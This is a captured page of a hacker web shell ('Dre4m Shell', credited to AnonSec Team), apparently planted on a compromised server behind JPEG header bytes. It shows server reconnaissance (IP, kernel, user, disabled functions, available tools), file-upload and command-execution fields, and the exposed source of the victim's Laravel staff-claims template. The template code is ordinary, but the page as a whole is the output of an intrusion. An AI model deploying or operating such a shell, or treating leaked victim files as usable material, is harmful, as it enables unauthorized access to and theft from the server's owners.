ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.191.192.36
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/StaffClaim/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/StaffClaim/staffClaim.blade.php
@extends('layouts.layout')

@section('pageTitle')
    STAFF CLAIM
@endsection

@section('content')

<div class="box-body">
    <div class="box box-default">
    <div class="box-body box-profile">
    <div class="box-body">
    <div class="row">
        <div style="margin: 0px 5%;"> @include('Share.message') </div>
        
        <div class="noprint box-body">
        <div style="margin-left: 5%;"><h4 class="noprint text-lefttext-success"><b>STAFF CLAIM</b></h4></div>
        <hr />
              <form class="form-horizontal" action="{{route('claimSend')}}" method="post">
		{{ csrf_field() }} 
		  <div class="col-md-6" style="border-right: 1px dash #ddd;">
		       <div class="col-md-6" style="padding-left: 35px; padding-right:26px;">   
		           <div class="form-group">
		          	<label for="title" >Claim Title</label>
		            	<input type="text" name="title" class="form-control" id="heading" value="{{ old('title') }}" placeholder="Title" required />
		          </div>
		        </div>
		        
		        <div class="col-md-6" style="padding-left: 35px; padding-right:26px;">   
		           <div class="form-group">
		          	<label for="claimFileNo" >Claim File No.</label>
		            	<input type="text" name="claimFileNo" class="form-control" id="heading" value="{{ old('claimFileNo') }}" placeholder="Clain File No." required/>
		          </div>
		        </div>
		
		        <div class="col-md-12" style="padding-left: 35px; padding-right:26;">                
		        <div class="form-group" >
		          <label for="title" >Detail</label>
		          <textarea id="content" rows="10" cols="80" class="form-control" value="{{ old('details') }}" name="details" required></textarea>
		        </div>
		        </div>

		        <div class="form-row">
			    <div class="col-sm-8">
			      <label for="amount">Enter Total Staff Amount (Optional)</label>
			       <input type="text" class="form-control claimAmountFormat" id="amount" value="{{ old('amount') }}" name="amount" required placeholder="Total Amount - No comma"/>
			    </div>
			    
			    <div class="col-sm-8">
			      <label for="amount">Select who will recieve this claim (Required)</label>
			       <select name="claimReciever" class="form-control">
			       	    <option value="">--Select Head of Department--</option>
			       	    @forelse($allHeadDepartment as $hod)
			       	    	 <option value="{{ $hod->head }}">{{ $hod->name}}</option>
			       	    @empty
			       	    @endforelse
			       <select>
			    </div>
			   
		        </div>
		</div>
      		<div class="col-md-6"> 
      		     <div align="left" class="text-success col-md-4">
      		     		<h4><b>Staff List</b> <small><i class="text-right"> Total Staff found: {{ count($staffDetails)}}</i></small>  </h4>
      		     </div> 
      		     <div align="right" class="text-success col-md-8">
      		      		<input type="text" id="myInput" onkeyup="myFunction()" placeholder="Search for names..." title="Type in a name">
      		     </div>
      		     <div class="col-md-12" style="height:300px; overflow: auto; border:1px solid #ddd; padding:10px;">
      			@php $counter = 1; @endphp
      			<table id="myTable" class="table" cellspacing="0">
      		   	   @forelse($staffDetails as $listStaff) 
      		   		<tr>
      		   			<td>
      		   			    <span class="form-check table"><b> {{ $counter ++ }} </b> &nbsp;  
			         		<input type="checkbox" class="form-check-input" id="staffFileNo{{$listStaff->staffID}}" name="staffFileNo[]" value="{{$listStaff->staffID}}">
			         		<label class="form-check-label" for="staffFileNo{{$listStaff->staffID}}"> &nbsp; {{ $listStaff->full_name .' - '. $listStaff->fileNo .' - ('. $listStaff->department .')'}}</label>
			         	    </span>
      		   			</td>
      		   		</tr>
      		   	  @empty
      		   	   <div class="text-danger">No Staff Available yet!</div>
      		   	 @endforelse
      		     </table>
      		   </div>
      		   
      		    <div align="right" class="col-sm-4">
			  <input type="submit" id="subButton" class="btn btn-primary btn-lg" placeholder="Title" value="Submit" name="Add">
		    </div>
			    
      		</div>
              </form>
  
      </div>
      
      <div class="box-body">
      <hr />
      	<table class="table table-hover table-stripped table-condensed table-bordered table-responsive">
      	   <thead style="background: darkseagreen; color:white;">
      	   	<tr class="text-uppercase text-center">
      	   	     <th>S/N</th>
      	   	     <th>Date</th>
      	   	     <th>Claim</th>
      	   	     <th>Description</th>
      	   	     <th>Amount</th>
      	   	     <th>Staff</th>
      	   	     <th>Edit</th>
      	   	     <th>Status</th>
      	   	     <th>Upload</th>
      	   	     <th> </th>
      	   	</tr>
      	   </thead>
      	   <tbody>
      	   @php $countClaim = 1; @endphp
      	   @forelse($allClaims as $listClaim)
      	   	<tr id="removeClaim{{$listClaim->ID}}">
      	   	   <td>{{ $countClaim++ }}</td>
      	   	   <td>{{ $listClaim->created_at }}</td>
      	   	   <td>{{ $listClaim->Title}}</td>
      	   	   <td>
      	   	   	{{ substr($listClaim->details, 0, 300)}} 
      	   	   	<a href="#" data-toggle="modal" data-target="#editClaim{{$listClaim->ID}}"> <b class="text-success" title="Edit this claim">...</b> </a>
      	   	   </td>
      	   	   <td>{{ number_format($listClaim->amount, 2,".",",") }}</td>
      	   	   <td>
      	   	   	<a href="#" class="btn btn-xs btn-info" title="View all attached staff" data-toggle="modal" data-target="#update{{$listClaim->ID}}" >
      	   	   	{{ DB::table('tblselectedstaffclaim')->where('claimID', $listClaim->ID)->count() . ' staff' }}</a>
      	   	   </td>
      	   	   <td>
      	   	   	<a href="#" class="btn btn-xs btn-success" title="Edit this claim" data-toggle="modal" data-target="#editClaim{{$listClaim->ID}}"> <i class="fa fa-edit"></i> </a>
      	   	   </td>
      	   	   <td>
      	   	   	@if($listClaim->status == 1)
      	   	   	    <span class="btn btn-xs btn-success" data-toggle="modal" data-target="#viewComment{{$listClaim->ID}}"><small>{{ 'Approved' }} </small></span>
      	   	   	@elseif($listClaim->status == 2)
      	   	   	     <span class="btn btn-xs btn-warning" data-toggle="modal" data-target="#viewComment{{$listClaim->ID}}"><small>{{ 'Rejected' }} <br> <small><i>view comment</i></small> </small></span>
      	   	   	@elseif($listClaim->status == 3)
      	   	   	     <button class="btn btn-info btn-xs" data-toggle="modal" data-target="#pushToHOD{{$listClaim->ID}}">push to HOD</button>
      	   	   	@else
      	   	   	     <span class="text-info"><small><i>{{ 'Submitted' }}</i> </small></span>
      	   	   	@endif
      	   	   </td>
      	   	   
      	   	    <td>
      	   	    	@if($listClaim->status == 2 or $listClaim->status == 3)
                         <div align="center">
                            <button id="{{ $listClaim->ID }}" class="btn btn-default input-sm showStaffClaimUploadModalForm" data-toggle="modal" data-target="#showUploadModal"><i class="fa fa-upload"></i></button>
                            <br />
                            <a style="cursor: pointer" title="Click to view" class="myBtnView" data-toggle="modal" data-target="#showViewFileModal{{$listClaim->ID}}">
                              Total File: {{ DB::table('staffclaimfile')->where('claimID', $listClaim->ID)->count() }}
                            </a>
                         </div>
                         @endif
                         <!--Get all Attached file for each claim-->
                         @php $allStaffClaimFile = DB::table('staffclaimfile')->where('claimID', $listClaim->ID)->get(); @endphp
                        @include('StaffClaim.modalBodyViewFile')
                    </td>
                    <td>
      	   	   	@if($listClaim->status == 2 or $listClaim->status == 3)
      	   	   	<button class="btn btn-xs btn-default" title="Delete Staff claim" data-toggle="modal" data-target="#deleteStaffClaimModal{{$listClaim->ID}}"> <i class="fa fa-trash"></i> </button>
      	   	   	@endif
      	   	   </td>
      	       </tr>
      	       
      	       <!--Staff Pushing Claim to HOD-->
      	        <form class="form-horizontal" action="{{route('pushClaimToHod')}}" method="post">
		{{ csrf_field() }}
      	   	<div class="modal fade" id="pushToHOD{{$listClaim->ID}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
		  <div class="modal-dialog" role="document">
		    <div class="modal-content">
		      <div class="modal-header">
		        <h5 class="modal-title text-info" id="exampleModalLabel"><b>STAFF: Start Process</b></h5>
		        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
		          <span aria-hidden="true">&times;</span>
		        </button>
		      </div>
		      <div class="modal-body">
		      
		      	 <div class="row">
		      	     <div class="col-xs-12" >
		      	      @php 
		      	      	$getStaffComment = DB::table('claim_comment')
		      	      	->leftJoin('users', 'users.id', '=', 'claim_comment.userID')
		      	      	->where('claim_comment.claimID', $listClaim->ID)
		      	      	->where('claim_comment.office', 'HOD')
		      	      	->orwhere('claim_comment.office', 'STAFF')
		      	      	->orderBy('claim_comment.id', 'Desc')
		      	      	->get();
		      	      	$commentKey =1;
		      	      	//Get all HOD
		      	      	$getAllHOD = DB::table('tbldepartment')
		      	      	->leftJoin('users', 'users.id', '=', 'tbldepartment.head')
		      	      	->where('tbldepartment.head', '>', 0)
		      	      	->get();
		      	      @endphp
		              @forelse($getStaffComment as $listComment)
		           	   <div align="left" class="col-xs-12" style="max-height: 200px; overflow: auto">
		           	    	{{ $commentKey++ }} &nbsp; {{ $listComment->name .' ('.$listComment->office .') '.' - '. $listComment->comment }} <br> Created Date: <i class="text-info"> {{ $listComment->created_at }} </i>
		           	    	<hr style="margin: 1px 0px; solid #000!important; " />
		           	    </div>
		              @empty
		           	    <div class="col-xs-12 text-danger" align="center"> No comment found! </div>
		              @endforelse
		              <br/>
		              <div class="row">
		                   <div class="col-md-12">
		                     <div class="form-group">
		              		<textarea name="staffComment" class="form-control" placeholder="Do you have anything to say ?... (Optional)"></textarea>
		              		<input type="hidden" name="claimID" value="{{ $listClaim->ID }}" />
		              	     </div>
		              	   </div>
		              	   <br />
		              	   <div class="col-md-12">
		              	     <div class="form-group">
		              		<select name="hodName" class="form-control required">
		              			<option value="">--Select HOD--</option>
		              			@forelse($getAllHOD as $listHOD)
		              				<option value="{{$listHOD->head}}">{{ $listHOD->name }}</option>
		              			@empty
		              			@endforelse
		              		</select>
		              	     </div>
		              	   </div>
		              </div>
		              	
		              	<div align="center" class="text-success">Will you like to push this claim to the selected HOD?</div>
		              	<br />
		              	
		             </div> 
			</div>
			
		      </div>
		      <div class="modal-footer">
		        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
		        <button type="submit" class="btn btn-success">Submit to HOD</button>
		      </div>
		    </div>
		  </div>
		</div>
		</form>
      	      <!--//END Staff push claim to HOD-->
      	      
      	   	
      	   	
      	   	<!--view all added/selected staff-->
      	   	<form class="form-horizontal" action="{{route('updateStaffAmount')}}" method="post">
		{{ csrf_field() }} 
      	   	<div class="modal fade" id="update{{$listClaim->ID}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
		  <div class="modal-dialog" role="document">
		    <div class="modal-content">
		      <div class="modal-header">
		        <h5 class="modal-title text-success" id="exampleModalLabel"><b>UPDATE STAFF DETAILS</b></h5>
		        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
		          <span aria-hidden="true">&times;</span>
		        </button>
		      </div>
		      <div class="modal-body">
		      	 <div class="row">
		      	      <div class="col-xs-8" align="center">
		           	  <label class="form-control text-info">NAME</label>
		              </div>
		              <div class="col-xs-4" align="center">
		           	  <label class="form-control text-info">Amount 
		           	  	@if($listClaim->status <> 1) <button type="submit" class="btn btn-xs btn-success pull-right">Update</button> @endif
		           	  </label>
		             </div>
		             <div class="col-xs-12" style="height:250px; overflow: auto; padding:0px;">
			      	    @php 
			      	      $staffKey = 1;
			      	      $totalAmount = 0.0;
			      	      $attachStaff = DB::table('tblselectedstaffclaim')
			      	    	->Join('tblclaim', 'tblclaim.ID', '=', 'tblselectedstaffclaim.claimID')
			      	    	->Join('tblStaffInformation', 'tblStaffInformation.staffID', '=', 'tblselectedstaffclaim.staffID')
			      	    	->where('tblselectedstaffclaim.claimID', $listClaim->ID)
			      	    	->orderBy('tblStaffInformation.full_name', 'Asc')
			      	    	->select('*', 'tblStaffInformation.fileNo as staffFileNo')
			      	    	->get();
			      	    @endphp
			      	    @forelse($attachStaff as $listAttached)
			      	    @php $totalAmount += $listAttached->staffamount; @endphp
			      	    <div class="deleted{{ $listAttached->selectedID}}">
			      	 	<div class="col-xs-8">
			           	  <label class="form-control" for="staffAttach{{$listAttached->staffID}}"> {{ $staffKey++ }} &nbsp; {{ $listAttached->full_name .' - '. $listAttached->staffFileNo}}</label>
			           	</div>
			           	<div class="col-xs-3">
			           	  	<input type="text" class="form-control staffAmount" id="{{ $listAttached->id }}" name="staffAmount[]" value="{{ $listAttached->staffamount }}" placeholder="00.0" @if($listClaim->status == 1) disabled="disabled" @endif />
			           	  	<input type="hidden" name="selectedID[]" value="{{ $listAttached->selectedID }}" />
			           	</div>
			           	<div align="center" class="col-xs-1">
		           	  		@if($listClaim->status <> 1) <button type="button" id="{{ $listAttached->selectedID}}" class="removeStaff btn btn-xs btn-default"><i class="fa fa-trash text-default"></i></button> @endif
		             		</div>
		             		<input type="hidden" class="selectedName{{$listAttached->selectedID}}" value="{{ $listAttached->full_name .' - '. $listAttached->staffFileNo }}" />
		             	    </div>
			      	    @empty
			      	 	<div align="center" class="col-xs-12">
			           	  <label class="form-control text-center"> <span class="text-danger"> No staff name found !</span></label>
			           	</div>
			      	    @endforelse
			      </div>
		      	       <!--Render Total-->
			      	 <div style="padding:0px;">
			      	    <div class="col-xs-8" align="right">
			           	<label class="form-control text-info">TOTAL:</label>
			            </div>
			            <div class="col-xs-4" align="left">
			           	 <label class="form-control text-info">{{ number_format($totalAmount, 2,".",",") }}</label>
			            </div>
			      	</div>
			      <!--//-->
			      
			</div>
		      </div>
		      <div class="modal-footer">
		        <input type="hidden" name="getAddClaimID" id="getAddClaimID{{$listClaim->ID}}" value="{{ $listClaim->ID}}" />
		      	@if($listClaim->status <> 1) <button type="button" class="moreStaff btn btn-defualt pull-left" id="{{$listClaim->ID}}">Add More</button> @endif
		        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
		      </div>
		    </div>
		  </div>
		</div>
      	   	</form>
      	   	<!--//view all added staff-->
      	   	
      	   	
      	      <!--Edit Claim-->
      	   	<form class="form-horizontal" action="{{route('updateStaffClaimDetails')}}" method="post">
		{{ csrf_field() }} 
      	   	<div class="modal fade" id="editClaim{{$listClaim->ID}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
		  <div class="modal-dialog" role="document">
		    <div class="modal-content">
		      <div class="modal-header">
		        <h5 class="modal-title text-success" id="exampleModalLabel"><b>UPDATE CLAIM DETAILS</b></h5>
		        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
		          <span aria-hidden="true">&times;</span>
		        </button>
		      </div>
		      <div class="modal-body">
		      
		      	 <div class="row">
		      	      <div class="col-xs-12">
		           	  <label for="title">Claim Title</label>
		           	  <input type="text" name="claimTitle" class="form-control" placeholder="Enter Title" value="{{ $listClaim->Title}}" @if($listClaim->status == 1) disabled="disabled" @endif/>
		              </div>
		              <div class="col-xs-12"><br />
		           	  <label for="description">Claim Description</label>
		           	  <textarea type="text" name="claimDescription" class="form-control" placeholder="Enter Descrition" style="height: 150px;" @if($listClaim->status == 1) disabled="disabled" @endif>{{ $listClaim->details}}</textarea>
		             </div>
			</div>
			
		      </div>
		      <div class="modal-footer">
		        <input type="hidden" name="getClaimID" value="{{ $listClaim->ID }}" />
		        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
		        @if($listClaim->status <> 1) <button type="submit" class="btn btn-primary">Save changes</button> @endif
		      </div>
		    </div>
		  </div>
		</div>
      	   	</form>
      	      <!--//Edit Claim-->
      	      
      	      
      	      
      	       <!--ALL COMMENTS FOR APPROVAL OR REJECTION-->
      	   	<div class="modal fade" id="viewComment{{$listClaim->ID}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
		  <div class="modal-dialog" role="document">
		    <div class="modal-content">
		      <div class="modal-header">
		        <h5 class="modal-title text-info" id="exampleModalLabel"><b>REJECTION COMMENTS</b></h5>
		        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
		          <span aria-hidden="true">&times;</span>
		        </button>
		      </div>
		      <div class="modal-body" style="max-height: 200px; overflow: auto">
		      
		      	 <div class="row">
		      	     <div class="col-xs-12" >
		      	      @php 
		      	      	$getRelatedComment = DB::table('claim_comment')
		      	      	 ->leftJoin('users', 'users.id', '=', 'claim_comment.userID')
		      	      	->where('claim_comment.claimID', $listClaim->ID)
		      	      	->where('claim_comment.office', 'HOD')
		      	      	->orderBy('claim_comment.id', 'Desc')
		      	      	->get();
		      	      	$commentKey =1;
		      	      @endphp
		           	    @forelse($getRelatedComment as $listComment)
		           	    	<div align="left" class="col-xs-12">
		           	    	   {{ $commentKey++ }} &nbsp; {{ $listComment->name .' ('.$listComment->office .') '.' - '. $listComment->comment }} <br> Created Date: <i class="text-info"> {{ $listComment->created_at }} </i>
		           	    	   <hr style="margin: 1px 0px; solid #000!important; " />
		           	    	</div>
		           	    @empty
		           	    	<div class="col-xs-12 text-danger" align="center"> No comment found! </div>
		           	    @endforelse
		             </div> 
			</div>
			
		      </div>
		      <div class="modal-footer">
		        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
		      </div>
		    </div>
		  </div>
		</div>
      	      <!--//END approval and rejection-->
      	      
      	      
      	      <!--Delete Staff Claim--> 
      	   	<div class="modal fade" id="deleteStaffClaimModal{{$listClaim->ID}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
		  <div class="modal-dialog" role="document">
		    <div class="modal-content">
		      <div class="modal-header">
		        <h5 class="modal-title text-success" id="exampleModalLabel"><b>Delete Staff Claim</b></h5>
		        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
		          <span aria-hidden="true">&times;</span>
		        </button>
		      </div>
		      <div class="modal-body">
		      
		      	<div class="row">
		      	    <div class="col-xs-12" align="center">
		      	    	<h4 class="text-center text-warning">Are you sure you want to remove the selected claim record?</h4>
		      	    	<div>
		      	    		<b class="text-warning text-center">NOTE: All the associated staff attached to thiswill be removed only from this record!</b>
		      	    	</div>
		      	    </div> 
			</div>
			
		      </div>
		      <div class="modal-footer">
		        <button type="button" class="cancelClaim btn btn-default" data-dismiss="modal">No. Cancel</button>
		        <button type="button" id="{{ $listClaim->ID }}" class="deleteClaim btn btn-warning">Yes. Delete</button>
		      </div>
		    </div>
		  </div>
		</div>
	     <!--//end staff Claim deletion-->
      	      
      	   @empty
      	   	<tr>
      	   	    <td colspan="6" class="text-center text-danger">No Claim available now !</td>
      	   	</tr>
      	   @endforelse
      	   </tbody>
      	</table>
      	<hr>
      	    {{ $allClaims->links() }}
      </div>
    	<hr />
    </div>
   
   
</div>
</div>
</div>

<!--confirm Staff Deletion from list -->
      <div class="modal fade" id="removeOne" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
	<div class="modal-dialog" role="document">
		    <div class="modal-content">
		      <div class="modal-header">
		        <h5 class="modal-title text-success" id="exampleModalLabel"><b>Remove Staff</b></h5>
		        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
		          <span aria-hidden="true">&times;</span>
		        </button>
		      </div>
		      <div class="modal-body">
		      	 <div class="row">
		      	    <div class="col-xs-12" align="center">
		      	    	<h4 class="text-center text-warning">Are you sure you want to remove the selected staff from the list?</h4>
		      	    	<div>
		      	    		<b class="text-success text-center"><span id="removeName"></span></b>
		      	    	</div>
		      	    </div> 
			</div>
		      </div>
		      <div class="modal-footer">
		        <button type="button" class="btn btn-success" data-dismiss="modal" id="cancelRemove">Cancel</button>
		        <button type="button" class="btn btn-warning" id="removeNow">Remove</button>
		      </div>
		    </div>
		</div>
	</div>
<!--//end deletion-->


<!--Add more staff-->
     <form class="form-horizontal" action="{{route('addMoreStaffToClaim')}}" method="post">
	{{ csrf_field() }} 
      <div class="modal fade" id="showMoreStaff" tabindex="-1" role="dialog" aria-labelledby="exampleModal" aria-hidden="true">
	<div class="modal-dialog" role="document">
		    <div class="modal-content">
		      <div class="modal-header">
		        <h5 class="modal-title text-success" id="exampleModalLabel"><b>Add More Staff To List</b></h5>
		        <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="margin-top:-10px;">
		          <span aria-hidden="true">&times;</span>
		        </button>
		      </div>
		      <div class="modal-body">
		      	 <div class="row">
		      	    <div align="right" class="text-success col-md-12">
      		      		<input type="text" id="myInput2" onkeyup="myFunction2()" placeholder="Search for names..." title="Type in a name">
      		     	    </div>
		      	    <div class="col-md-12" style="height:300px; overflow: auto; border:1px solid #ddd; padding:10px;">
	      			@php $countMore = 1; @endphp
	      			<table id="myTable2" class="table" cellspacing="0">
	      		   	   @forelse($staffDetails as $listMoreStaff) 
	      		   		<tr>
	      		   		  <td>
				         	<label class="form-check-label" for="addMoreStaffFileNo{{$listMoreStaff->staffID}}"> &nbsp;
				         	{{ $listMoreStaff->full_name .' - '. $listMoreStaff->fileNo }}</label>
	      		   		   </td>
	      		   		   <td width="120">
	      		   		   	<input type="text" class="form-control" name="addMoreStaffAmount[]" placeholder="Amount" />
	      		   		   </td>
	      		   		    <td width="4">
	      		   		  	<input type="checkbox" class="form-check-input" id="addMoreStaffFileNo{{$listMoreStaff->staffID}}" name="addMoreStaff[]" value="{{$listMoreStaff->staffID}}">
	      		   		   <td>
	      		   		</tr>
	      		   	  @empty
	      		   	   <div class="text-danger">No Staff Available yet!</div>
	      		   	 @endforelse
	      		     </table>
	      		     <input type="hidden" class="form-control" id="addMoreStaffClaimID" name="addMoreStaffClaimID" />
	      		   </div> 
			</div>
		      </div>
		      <div class="modal-footer">
		        <button type="button" class="btn btn-default" data-dismiss="modal" id="cancelRemove">Cancel</button>
		        <button type="submit" class="btn btn-success" id="removeNow">Add Staff</button>
		      </div>
		    </div>
		</div>
	   </div>
	</form>
<!--//end add more staff-->
@include('StaffClaim.modalBodyUploadFile', ['modalHeader' => 'Upload Files', 'modalMessage' => 'You are about to upload additional document file', 'modalField' =>'<input type="file" class="form-control input-lg"  id="file" name="file" required />'])
@endsection


@section('styles')
 <style>
 #subButton
 {
   margin-top:25px;	
 }
 
 *{
  box-sizing: border-box;
 }
 #myInput, #myInput2 {
  background-image: url('../funds.njc.gov.ng/Images/search-icon-png-27.png');
  background-position: 10px 10px;
  background-repeat: no-repeat;
  width: 100%;
  font-size: 16px;
  padding: 12px 20px 12px 40px;
  border: 1px solid #ddd;
  margin-bottom: 12px;
}

#myTable, #myTable2 {
  border-collapse: collapse;
  width: 100%;
  border: 1px solid #ddd;
  font-size: 18px;
}

#myTable th, #myTable2 th, #myTable td, #myTable2 td {
  text-align: left;
  padding: 12px;
}

#myTable tr, #myTable2 tr {
  border-bottom: 1px solid #ddd;
}

#myTable tr.header, #myTable tr:hover, #myTable2 tr.header, #myTable2 tr:hover {
  background-color: #f1f1f1;
}

 </style> 
@endsection
 
@section('scripts')  
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
 <script>
    function myFunction() {
	  var input, filter, table, tr, td, i, txtValue;
	  input = document.getElementById("myInput");
	  filter = input.value.toUpperCase();
	  table = document.getElementById("myTable");
	  tr = table.getElementsByTagName("tr");
	  for (i = 0; i < tr.length; i++) {
	    td = tr[i].getElementsByTagName("td")[0];
	    if (td) {
	      txtValue = td.textContent || td.innerText;
	      if (txtValue.toUpperCase().indexOf(filter) > -1) {
	        tr[i].style.display = "";
	      } else {
	        tr[i].style.display = "none";
	      }
	    }       
	  }
   }
   
   /*for Add more staff*/
   function myFunction2() {
	  var input, filter, table, tr, td, i, txtValue;
	  input = document.getElementById("myInput2");
	  filter = input.value.toUpperCase();
	  table = document.getElementById("myTable2");
	  tr = table.getElementsByTagName("tr");
	  for (i = 0; i < tr.length; i++) {
	    td = tr[i].getElementsByTagName("td")[0];
	    if (td) {
	      txtValue = td.textContent || td.innerText;
	      if (txtValue.toUpperCase().indexOf(filter) > -1) {
	        tr[i].style.display = "";
	      } else {
	        tr[i].style.display = "none";
	      }
	    }       
	  }
   }
   
     /*--show add more staff modal--*/
      $('.moreStaff').click(function(e){ 
      	 var addMoreID = $(this).attr('id');
      	  $('#addMoreStaffClaimID').val($('#getAddClaimID' +  addMoreID ).val());
         $('#showMoreStaff').modal({
        	show: 'true'
    	}); 
    	// Format Amount with comman
	$('.claimAmountFormat').keyup(function(event) {
		// skip for arrow keys
		if(event.which >= 37 && event.which <= 40) return;
		
		// format number
		$(this).val(function(index, value) {
		    return value
		    .replace(/\D/g, "")
		    .replace(/\B(?=(\d{3})+(?!\d))/g, ",")
		    ;
		});
	});
      //end text format
       
    });  
    
   /* AJAX call for staff deletion from list*/
   	$(document).ready(function(){
            $('.removeStaff').click(function(e){
            	var selectedID = $(this).attr('id');
            	//show confirmation modal
            	var getSelectedStaff = $('.selectedName' + selectedID).val();
            	$('#removeName').html('');
            	$('#removeName').html( getSelectedStaff );
             	$('#removeOne').modal({
        		show: 'true'
    		});
    		//
              $('#removeNow').click(function(e){
              $('#cancelRemove').attr("disabled", "true");
              $('#removeNow').attr("disabled", "true");
                 $.ajax({
                    url: '{{ url("/remove-staff-from-list") }}',
                    method: 'post',
                    data: {
                       'getSelectedStaffID' : selectedID,
                       '_token': $('input[name=_token]').val()
                    },
                    success: function(response){
                        alert(getSelectedStaff + ' ' + response.successMessage);
                        $('#cancelRemove').removeAttr('disabled');
              		$('#removeNow').removeAttr('disabled');
                    	$('.deleted'+selectedID).hide();
                    	$("#removeOne").modal.hide();
                    	location.reload(); 
                    },
                    error: function (jqXHR, status, err) {
                        alert(err + '. Sorry, an error occurred! Refresh this page and try again.' );
                        $('#cancelRemove').removeAttr('disabled');
              		$('#removeNow').removeAttr('disabled');
              		$("#removeOne").modal.hide();
                    }
                  });
                });
            });
    
            ///end staff deletion from list
      
           /* AJAX call for Claim deletion*/

      	  $('.deleteClaim').click(function(e){
            	 var getClaimID = $(this).attr('id');
                 $('.deleteClaim').attr("disabled", "true");
                 $('.cancelClaim').attr("disabled", "true");
                 $.ajax({
                    url: '{{ url("/remove-staff-claim") }}',
                    method: 'post',
                    data: {
                       'claimID' : getClaimID,
                       '_token': $('input[name=_token]').val()
                    },
                    success: function(data){
                        alert(data);
              		$('.cancelClaim').removeAttr('disabled');
                    	$('#removeClaim' + getClaimID).hide();
                    	$('.deleteClaim').removeAttr('disabled');
                    	//location.reload(); 
                    },
                    error: function (jqXHR, status, err) {
                        alert(err + '. Sorry, an error occurred! Click ok to allow this page to refresh. Then, you can try again' );
                        $('.deleteClaim').removeAttr('disabled');
              		$('.cancelClaim').removeAttr('disabled');
                    	location.reload();
                    }
                  }); 
            });
            
            //SHOW UPLOAD MODAL FOR USER
            $('.showStaffClaimUploadModalForm').click(function(e){
            	var staffClaimID = $(this).attr('id');
            	$('#staffClaimID').val(staffClaimID);
            	//show confirmation modal
             	//$('#showUploadModal').modal({
        		//show: 'true'
    		//});
            });
       }); //document ready
      ///end claim deletion
      
      // Format Amount with comman
	$('.claimAmountFormat').keyup(function(event) {
		// skip for arrow keys
		if(event.which >= 37 && event.which <= 40) return;
		
		// format number
		$(this).val(function(index, value) {
		    return value
		    .replace(/\D/g, "")
		    .replace(/\B(?=(\d{3})+(?!\d))/g, ",")
		    ;
		});
	});
      //end text format

  </script> 
@endsection

 



Anon7 - 2022
AnonSec Team